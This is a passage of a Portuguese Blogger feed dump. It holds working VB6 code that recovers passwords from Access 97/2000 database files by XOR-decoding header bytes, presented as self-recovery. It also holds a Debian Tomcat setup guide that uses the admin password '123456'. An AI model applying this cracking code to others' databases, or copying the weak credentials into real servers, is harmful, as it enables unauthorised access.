/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// TODO Auto-generated method stub&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Intent data = new Intent();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data.putExtra("resultado", false);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setResult(1,data);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finish();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7726802639164262899?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7726802639164262899/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2011/10/rcebendo-retorno-da-janela.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7726802639164262899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7726802639164262899'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2011/10/rcebendo-retorno-da-janela.html' title='Rcebendo retorno da janela'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-8400802804018010442</id><published>2010-11-10T07:02:00.000-08:00</published><updated>2010-11-10T07:16:27.262-08:00</updated><title type='text'>Recuperando Senha do Banco de Dados Access 2000</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=50fd0a6c" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Já aconteceu comigo e provavelmente com você que está lendo. Incluir uma senha em um banco de dados Access 2000 e depois não recordar. Por isso, e por didática, resolvi postar o código em Visual Basic 6.0.&lt;br /&gt;&lt;br /&gt;Veja Também &lt;a href="http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados.html"&gt;Recuperando Senha do Banco de Dados Access 97&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vou considerar um Form com uma caixa de texto onde será colocado o caminho completo da base de dados. Um Botão que executará a quebra da senha e um rótulo que mostrará a senha.&lt;br /&gt;&lt;br /&gt;No evento on_Click do botão, incluiremos o código.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Label1.Caption = DescobreSenha2000(Text1.Text)&lt;br /&gt;End Sub&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Crie um módulo e inclua o código abaixo.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;'Tamanho máximo da senha compila, onde cada caracter da senha&lt;br /&gt;'estará representado pelo seu repectivo código ASC em hexadecimal&lt;br /&gt;Const LEN_PWD_COMPILED = 20 * 2&lt;br /&gt;&lt;br /&gt;Const OFFSET_PWD_INTERVAL = 4&lt;br /&gt;Const OFFSET_PWD_COMPILED = 66&lt;br /&gt;&lt;br /&gt;'Posição no arquivo onde começa a senha&lt;br /&gt;Const OFFSET_XOR_GET = OFFSET_PWD_COMPILED + LEN_PWD_COMPILED - OFFSET_PWD_INTERVAL&lt;br /&gt;&lt;br /&gt;'Valor padrão usado na conversão da senha&lt;br /&gt;Const VAL_XOR_FIX = &amp;H2A7DA8A8&lt;br /&gt;&lt;br /&gt;Public Function DescobreSenha2000(ByVal FileName As String) As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;On Error GoTo Erro&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim New_Xor_Val As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim New_Xor_Char As Variant&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim i As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim NewPassword As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim Part_Char As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim Part_Char_Hex As String&lt;br /&gt;        &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim texto As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim arq As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Abrindo o arquivo é pegando os (OFFSET_XOR_GET + 5) primeiros bytes, pois é onde se encontrará a senha&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;arq = FreeFile&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Open FileName For Binary As arq&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;texto = String(OFFSET_XOR_GET + 1 + OFFSET_PWD_INTERVAL, " ")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Get #arq, 1, texto&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Close arq&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;New_Xor_Val = CompileVal(Mid(texto, OFFSET_XOR_GET + 1, OFFSET_PWD_INTERVAL)) Xor VAL_XOR_FIX&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Array padrão usado para decodificar a senha&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;New_Xor_Char = Array(&amp;H37EDE6BC, &amp;HFA9D5967, &amp;HE62943FC, &amp;H608BAB29, &amp;H367A896E, &amp;HB1DE6FCF, &amp;H4312E94D, &amp;H33B0B2F5, &amp;H5B787C0E, &amp;H2A7DA8A8)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;For i = 1 To LEN_PWD_COMPILED / OFFSET_PWD_INTERVAL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Part_Char = Mid(texto, OFFSET_PWD_COMPILED + (i - 1) * OFFSET_PWD_INTERVAL + 1, OFFSET_PWD_INTERVAL)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Part_Char_Hex = AlnRight(Hex((CompileVal(Part_Char) Xor New_Xor_Val) Xor New_Xor_Char(i - 1)), 2 * OFFSET_PWD_INTERVAL)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NewPassword = Chr(HexToLng(Mid(Part_Char_Hex, 1, 4))) &amp; Chr(HexToLng(Mid(Part_Char_Hex, 5, 4))) &amp; NewPassword&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DescobreSenha2000 = StrReverse(Replace(NewPassword, Chr(0), ""))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit Function&lt;br /&gt;Erro:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MsgBox "Erro: " &amp; Err.Number &amp; " - " &amp; Err.Description&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DescobreSenha2000 = "Erro na descoberta da senha"&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;'Compila o texto passado de acordo com a regra utilizada&lt;br /&gt;'na "criptografia" da senha&lt;br /&gt;Private Function CompileVal(Text As String) As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim Val As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim TextRev As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim i As Long&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TextRev = StrReverse(Text)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;For i = 1 To Len(TextRev)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Val = Val &amp; AlnRight(Hex(Asc(Mid(TextRev, i, 1))), 2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next i&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CompileVal = HexToLng(Val)&lt;br /&gt;End Function&lt;br /&gt;    &lt;br /&gt;'Alinha a esquerda&lt;br /&gt;Private Function AlnRight(Val As String, LenEnd As Long, Optional Char As String = "0") As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;AlnRight = String(LenEnd - Len(Val), Char) &amp; Val&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;'Converte um número Hexadecimal em Inteiro Longo&lt;br /&gt;Private Function HexToLng(ValHex As String) As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;HexToLng = Val("&amp;h" &amp; ValHex &amp; "&amp;")&lt;br /&gt;End Function&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-8400802804018010442?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/8400802804018010442/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados_10.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8400802804018010442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8400802804018010442'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados_10.html' title='Recuperando Senha do Banco de Dados Access 2000'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-4784079622842029604</id><published>2010-11-05T11:45:00.000-07:00</published><updated>2010-11-10T07:19:33.634-08:00</updated><title type='text'>Recuperando Senha do Banco de Dados Access 97</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=1a73cbbd" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Já aconteceu comigo e provavelmente com você que está lendo. Incluir uma senha em um banco de dados Access 97 e depois não recordar. Por isso, e por didática, resolvi postar o código em Visual Basic 6.0.&lt;br /&gt;&lt;br /&gt;Veja Também &lt;a href="http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados_10.html"&gt;Recuperando Senha do Banco de Dados Access 2000&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vou considerar um Form com uma caixa de texto onde será colocado o caminho completo da base de dados. Um Botão que executará a quebra da senha e um rótulo que mostrará a senha.&lt;br /&gt;&lt;br /&gt;No evento on_Click do botão, incluiremos o código.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Label1.Caption = DescobreSenha(Text1.Text)&lt;br /&gt;End Sub&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Crie um módulo e inclua o código abaixo.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Public Function DescobreSenha(NomeDB As String) As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim NPassByte() As Byte&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim hFile As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim subPassByte() As Byte&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim passByte(0 To 19) As Byte&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim i As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim Buffer As String&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Abrindo o arquivo mdb (base de dados) de forma binária&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hFile = FreeFile&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Open NomeDB For Binary As #hFile&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Pulando para a posição do arquivo que contém a senha&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Seek #hFile, 67&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'pegando os 20 caracteres a partir da posição de início&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'A senha do access suporta senha de no máximo 20 caracteres&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;subPassByte = InputB(20, #hFile)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'fechando o arquivo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Close #hFile&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'String de conversão da senha&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NPassByte = ChrB(134) &amp; ChrB(251) &amp; ChrB(236) &amp; ChrB(55) &amp; ChrB(93) &amp; ChrB(68) &amp; ChrB(156) &amp; ChrB(250) &amp; ChrB(198) &amp; ChrB(94) &amp; ChrB(40) &amp; ChrB(230) &amp; ChrB(19) &amp; ChrB(182) &amp; ChrB(138) &amp; ChrB(96) &amp; ChrB(84) &amp; ChrB(148) &amp; ChrB(123) &amp; ChrB(54)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Usando a string de conversão para converter a senha&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'a "criptografia da senha" nada mais é do que um Xor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'dos bytes no arquivo da base de dados com a string&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'criada acima&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;For i = 0 To 19&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;passByte(i) = subPassByte(i) Xor NPassByte(i)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'convertendo o vetor de byte em uma string no unicode&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer = StrConv(passByte, vbUnicode) &amp; vbNullChar&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Retornado a string com a senha, convertida, limpando a string dos nulo, pois na&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'maioria das vezes a senha não tem o tamanho de 20 caracteres&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DescobreSenha = Left$(Buffer, InStr(1, Buffer, vbNullChar, vbBinaryCompare) - 1)&lt;br /&gt;End Function&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-4784079622842029604?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/4784079622842029604/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4784079622842029604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4784079622842029604'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2010/11/recuperando-senha-do-banco-de-dados.html' title='Recuperando Senha do Banco de Dados Access 97'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7419177160819536677</id><published>2009-07-02T06:35:00.000-07:00</published><updated>2009-07-02T07:47:50.461-07:00</updated><title type='text'>Montando um ambiente utilizando Tomcat+Java+mysql (Debian)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=7151d5ba" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Ferramentas necessárias&lt;br /&gt;&lt;br /&gt;Considerações iniciais&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O objetivo desse artigo não é ensinar a programação java, nem explicar o funcionamento do tomcat. Será considerado que o leitor já tem estas informações. Aqui iremos apenas mostrar o caminho para a instalação e configuração do servidor tomcat, apesar de utilizar de alguns códigos em java para testar o funcionamento de nosso servidor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Ferramentas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para começarmos a montagem de nosso ambiente, considerarei que algumas ferramentas já estão instaladas. Não irei entrar em detalhes sobre estas instalações, mas darei uma dica para instalá-las via apt-get.&lt;br /&gt;&lt;br /&gt;Serão necessários:&lt;br /&gt;&lt;br /&gt;mysql - servidor de base de dados&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install mysql-server-5.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;bind - servidor DNS&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install bind9&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O servidor de nomes serivrá para utilizarmos o domínio de nosso servidor no lugar do localhost, apesar de este artigo utilizarmos sempre a URL http://localhost.&lt;br /&gt;&lt;br /&gt;lynx - navegador de páginas em modo texto&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install lynx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Iremos mostrar neste artigo a instalação do&lt;br /&gt;&lt;br /&gt;Java - jsdk&lt;br /&gt;Tomcat - conatiner para aplicações java para web&lt;br /&gt;drive do java para mysql.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Instalação das ferramentas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Antes de começar as instalações, gostaria de informar que as instalações serão feitas em modo shell, utilizando o apt-get, mas o leitor poderá optar por utilizar a ferramenta gráfica (front end) synaptic.&lt;br /&gt;&lt;br /&gt;Obs.: se a apt-get não encontrar os pacotes que iremos instalar, adicione os seguintes repositórios em seu arquivo /etc/apt/source.list.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;deb http://ftp.debian.org/debian/ etch main contrib non-free&lt;br /&gt;deb http://ftp.br.debian.org/debian etch main contrib non-free.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Antes de mais nada será necessário instalar os pacotes java, para isso basta usar a seguinte linha de comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install sun-java5-jdk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, iremos instalar o tomcat. Outra tarefa muito fácil, basta como root digitar o seguinte comando:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;# apt-get install tomcat5.5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O padrão do tomcat é responder a requisições solicitadas na porta 8180, logo, a URL utilizada para acessar as páginas em seu servidor será:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://localhost:8180&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Você poderá alterar esta porta alterando-a na linha&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;Connector port="8180" maxHttpHeaderSize="8192"&lt;/span&gt;&lt;br /&gt;do arquivo &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5/conf/server.xml&lt;/span&gt;, porém, aqui nós iremos trabalhar com esta porta padrão.&lt;br /&gt;&lt;br /&gt;Feito isso, nosso container terá sido instalado, porém, não aparecerá nenhuma página, pois nada foi criado. Podemos então instalar a página de administração do tomcat e as páginas de exemplos, para isso excute, como root:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install tomcat5.5-admin tomcat5.5-webapps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, faça o teste&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# lynx localhost:8180&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Configurando o Tomcat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primeiro, vamos verificar qual diretório Home do tomcat, para isso, basta entrar no arquivo &lt;span style="font-weight:bold;"&gt;/etc/init.d/tomcat5.5 &lt;/span&gt;e ver as variáveis de instalação.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# more /etc/init.d/tomcat5.5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;aparecerá algo como:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;PATH=/bin:/usr/bin:/sbin:/usr/sbin&lt;br /&gt;NAME=tomcat5.5&lt;br /&gt;DESC="Tomcat servlet engine"&lt;br /&gt;CATALINA_HOME=/usr/share/$NAME&lt;br /&gt;DAEMON=$CATALINA_HOME/bin/catalina.sh&lt;br /&gt;DEFAULT=/etc/default/$NAME&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;ou seja, neste caso a pasta Home é &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vamos alterar o usuário e a senha do administrador.&lt;br /&gt;Edite o arquivo &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5/conf/tomcat-users.xml&lt;/span&gt; e subistituir seu conteúdo por.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version='1.0' encoding='utf-8'?&amp;gt;&lt;br /&gt;&amp;lt;tomcat-users&amp;gt;&lt;br /&gt;&amp;lt;role rolename="manager"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="admin"/&amp;gt;&lt;br /&gt;&amp;lt;user username="admin" password="123456" roles="admin,manager"/&amp;gt;&lt;br /&gt;&amp;lt;/tomcat-users&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;salve o arquivo e reinicie o tomcat com o comando&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Feito isso, podemos acessar a página de configuração do tomcat&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/Sky5W7WqkEI/AAAAAAAAABk/3u35XxYXU3Y/s1600-h/tomcatLocal.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 283px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/Sky5W7WqkEI/AAAAAAAAABk/3u35XxYXU3Y/s400/tomcatLocal.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5353857860577693762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# lynx localhost:8180&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ir no link Status, digitar o usuário admin e senha 123456.&lt;br /&gt;&lt;br /&gt;vá no link List Applications para ver as aplicações que estão em execução.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Criando nossa aplicação para teste&lt;br /&gt;&lt;br /&gt;Nossa primeira aplicação de teste será um arquivo jsp.&lt;br /&gt;&lt;br /&gt;Caso não exista, cria o diretório &lt;span style="font-weight:bold;"&gt;/var/www/teste&lt;/span&gt;. Importante é verificar a permissão para que o tomcat tenha acesso. Eu sugiro a permissão 755.&lt;br /&gt;&lt;br /&gt;dentro de &lt;span style="font-weight:bold;"&gt;/var/www&lt;/span&gt; crie o arquivo teste.xml com o seguinte conteúdo&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;Context path="/teste" docBase="/var/www/teste"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;debug="0" privileged="true" allowLinking="true"&amp;gt;&lt;br /&gt;&amp;lt;/Context&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Esse arquivo informa que quando for acrescentado /teste no final da URL ele deverá redirecionar para o diretório /var/www/teste.&lt;br /&gt;&lt;br /&gt;Existe um 